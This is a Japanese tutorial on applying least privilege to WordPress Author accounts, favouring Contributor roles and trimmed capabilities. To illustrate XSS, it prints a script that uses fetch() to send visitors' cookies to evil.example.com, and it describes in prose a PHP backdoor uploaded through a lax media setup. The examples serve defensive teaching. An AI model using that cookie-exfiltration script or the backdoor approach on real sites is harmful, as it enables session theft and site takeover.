「投稿者権限の最小化」とは何をすることか
まず言葉をほぐします。
「投稿者権限の最小化」とは、
“記事を書く人に、本当に必要な権限だけを与えて、それ以上は持たせないようにすること”
です。
WordPress には「権限グループ（ロール）」がありますが、その中でも
管理者（Administrator）
編集者（Editor）
投稿者（Author）
寄稿者（Contributor）
購読者（Subscriber）
といった区分があります。
ここでいう「投稿者権限の最小化」は、
「記事を書く人＝とりあえず投稿者（Author）にしておけばいいや」
ではなく、
「この人はどこまでできれば十分か？」を考え、
必要なら投稿者より“弱い”権限（寄稿者など）に落としたり、
カスタマイズして余計な権限を削る、という発想です。
なぜ「投稿者」にも権限の最小化が必要なのか
投稿者も「サイトを壊せる」ポジションになりうる
投稿者（Author）は、デフォルトでこんなことができます。
自分の投稿を新規作成・編集・公開・削除
ファイル（画像など）のアップロード
公開済みの自分の投稿を後から書き換える
一見、「記事を書く人としては普通の権限」に見えますが、
セキュリティの視点で見ると、ここにリスクがあります。
例えば、投稿者がもし悪意を持っていたり、
アカウントを乗っ取られていたりすると、
自分の投稿に悪意あるスクリプトを埋め込む
画像アップロード機能を悪用して危険なファイルを置こうとする
公開済み記事をこっそり書き換えて、外部サイトに誘導する
といったことが可能になります。
つまり、
「管理者ほどではないが、投稿者も十分“攻撃の踏み台”になりうる」
ということです。
「信頼している人だから大丈夫」はセキュリティ的には危険な考え方
現実には、
チームメンバーだから
外部ライターだけど長く付き合っているから
といった理由で、
「この人は信用できるから大丈夫」と思いたくなります。
でも、セキュリティの設計は、
「その人を信用するかどうか」ではなく、
「そのアカウントが乗っ取られたときに、どこまで被害が広がるか」
で考えるべきです。
どれだけ信頼している人でも、
パスワードが漏れることはあります。
マルウェアに感染することもあります。
だからこそ、
「投稿者にどこまで権限を持たせるか？」
を冷静に設計する必要があります。
具体例でイメージする「投稿者権限の危うさ」
例1：投稿者が自分の投稿にスクリプトを埋め込める場合
もしエディタやテーマの実装が甘くて、
投稿本文に <script>...</script> のようなコードをそのまま書けてしまうとします。
投稿者が（あるいは乗っ取られた投稿者アカウントが）、
自分の投稿にこんなコードを入れたとします。
<script>
fetch('https://evil.example.com/steal?cookie=' + document.cookie);
</script>
その記事を閲覧したユーザーのブラウザで、
このスクリプトが実行されてしまうと、
クッキーの盗難
偽フォームの表示
別サイトへのリダイレクト
など、XSS攻撃が成立します。
ここで重要なのは、
「管理者でなくても、投稿者の権限だけでここまでできてしまう場合がある」
という点です。
例2：画像アップロード機能の悪用
投稿者は通常、メディアライブラリにファイルをアップロードできます。
もしサーバー設定やプラグインの実装が甘く、
PHPファイルや実行可能なスクリプトをアップロードできてしまう
アップロード先ディレクトリが実行可能になっている
といった状態だと、
バックドア用のファイルをアップロード
→ そのファイルに直接アクセスしてコードを実行
→ サイト全体の乗っ取り
という流れも理論上はありえます。
これもまた、
「投稿者権限のアカウントが乗っ取られただけで、サイト全体が危険になる」
パターンです。
「投稿者権限の最小化」をどう考えるか
本当に「投稿者」である必要があるのかを一度疑う
まず最初にやるべきは、
「この人、本当に Author（投稿者）である必要がある？」
と自分に問い直すことです。
例えば、
外部ライターで、記事の下書きだけしてもらえればいい
公開の最終判断は編集長（編集者・管理者）が行う
という運用なら、その人は「寄稿者（Contributor）」で十分です。
寄稿者は、
新規投稿の作成・編集はできる
しかし、自分で公開はできない
ファイルアップロードもできない
という、投稿者より弱い権限です。
これだけでも、
「勝手に公開されるリスク」
「ファイルアップロードを悪用されるリスク」
をかなり減らせます。
「投稿者にさせないこと」を先に決める
発想を逆にして、
このサイトでは、投稿者に何を“させない”べきか？
を先に考えるのも有効です。
例えば、
ファイルアップロードはさせたくない
公開済み記事の編集は編集者以上に限定したい
特定のカスタム投稿タイプは触らせたくない
といった要件があるなら、
権限をカスタマイズして、
投稿者からその能力（ケイパビリティ）を外す、
あるいは、そもそも投稿者ではなく寄稿者にする、
という設計が考えられます。
例題：権限を最小化した運用パターン
例1：外部ライターが多いメディアサイト
想像してみてください。
外部ライターが10人いて、
編集長が1人いるようなメディアサイト。
ありがちな悪いパターンは、
全員を「投稿者」にしてしまう
→ 各自が自分の記事を自由に公開・編集・削除できる
→ 画像も自由にアップロードできる
という状態です。
これを「投稿者権限の最小化」の観点で見直すと、
外部ライター：寄稿者（下書きまで。公開は不可）
編集長：編集者（公開・修正・カテゴリ管理など）
管理者：ごく少数（テーマ・プラグイン・設定のみ）
という構成に変えられます。
こうすると、
外部ライターのアカウントが乗っ取られても、
勝手に記事を公開されたり、
ファイルをアップロードされたりするリスクが減ります。
例2：自分ひとりで運営しているブログ
「自分しか触らないから、全部管理者でいいや」
という状態から一歩進めて、
日常の執筆用アカウント：投稿者 or 編集者
設定変更・インストール用アカウント：管理者
と分けることも、「権限の最小化」です。
さらに踏み込むなら、
日常は編集者で作業
本当に必要なときだけ管理者でログイン
という運用にすると、
もし日常用アカウントが漏れても、
サイト全体の破壊までは一気に行きにくくなります。
プログラミングの感覚で捉える「投稿者権限の最小化」
これは「APIキーに必要以上の権限を与えない」のと同じ
プログラミングの世界では、
APIキーやトークンに
必要以上の権限を持たせない
というのは常識ですよね。
読み取り専用の処理には read-only キー
書き込みが必要な処理にだけ write 権限付きキー
といった具合に分けます。
WordPress のユーザー権限も、
これとまったく同じです。
「記事を書く人」に、
テーマ編集やファイル操作の権限は要りません。
「そのアカウントが何をするために存在しているのか？」
を考え、その目的に必要な最小限の権限だけを与える——
これが「投稿者権限の最小化」の本質です。
「信頼」ではなく「前提が崩れたときの被害範囲」で考える
セキュリティ設計のコツは、
この人を信頼できるか？
ではなく、
この人のアカウントが乗っ取られたとき、
どこまで被害が広がるか？
で考えることです。
投稿者権限を最小化するというのは、
「もしものときに、被害範囲を小さく区切っておく」
という、非常にエンジニア的な発想です。
まとめ：「投稿者権限の最小化」は“記事を書く人を守ること”でもある
「投稿者権限の最小化」というテーマの本質は、
記事を書く人に
本当に必要な権限だけを与え
それ以上の“危険な力”を持たせないことで、
サイト全体と、その人自身のアカウントを守る、ということです。
押さえておきたいポイントは、
投稿者も十分“攻撃の入口”になりうること
「信頼しているかどうか」ではなく「乗っ取られたときの被害範囲」で考えること
外部ライターやメンバーには、寄稿者やカスタム権限など“弱いロール”を積極的に使うこと
一度、あなたのサイトのユーザー一覧を開いて、
「この人、本当に投稿者である必要がある？」と自分に問いかけてみてください。
その問いを持てた瞬間から、あなたはもう“ただの運営者”ではなく、
権限設計まで意識するエンジニア側の視点に立っています。
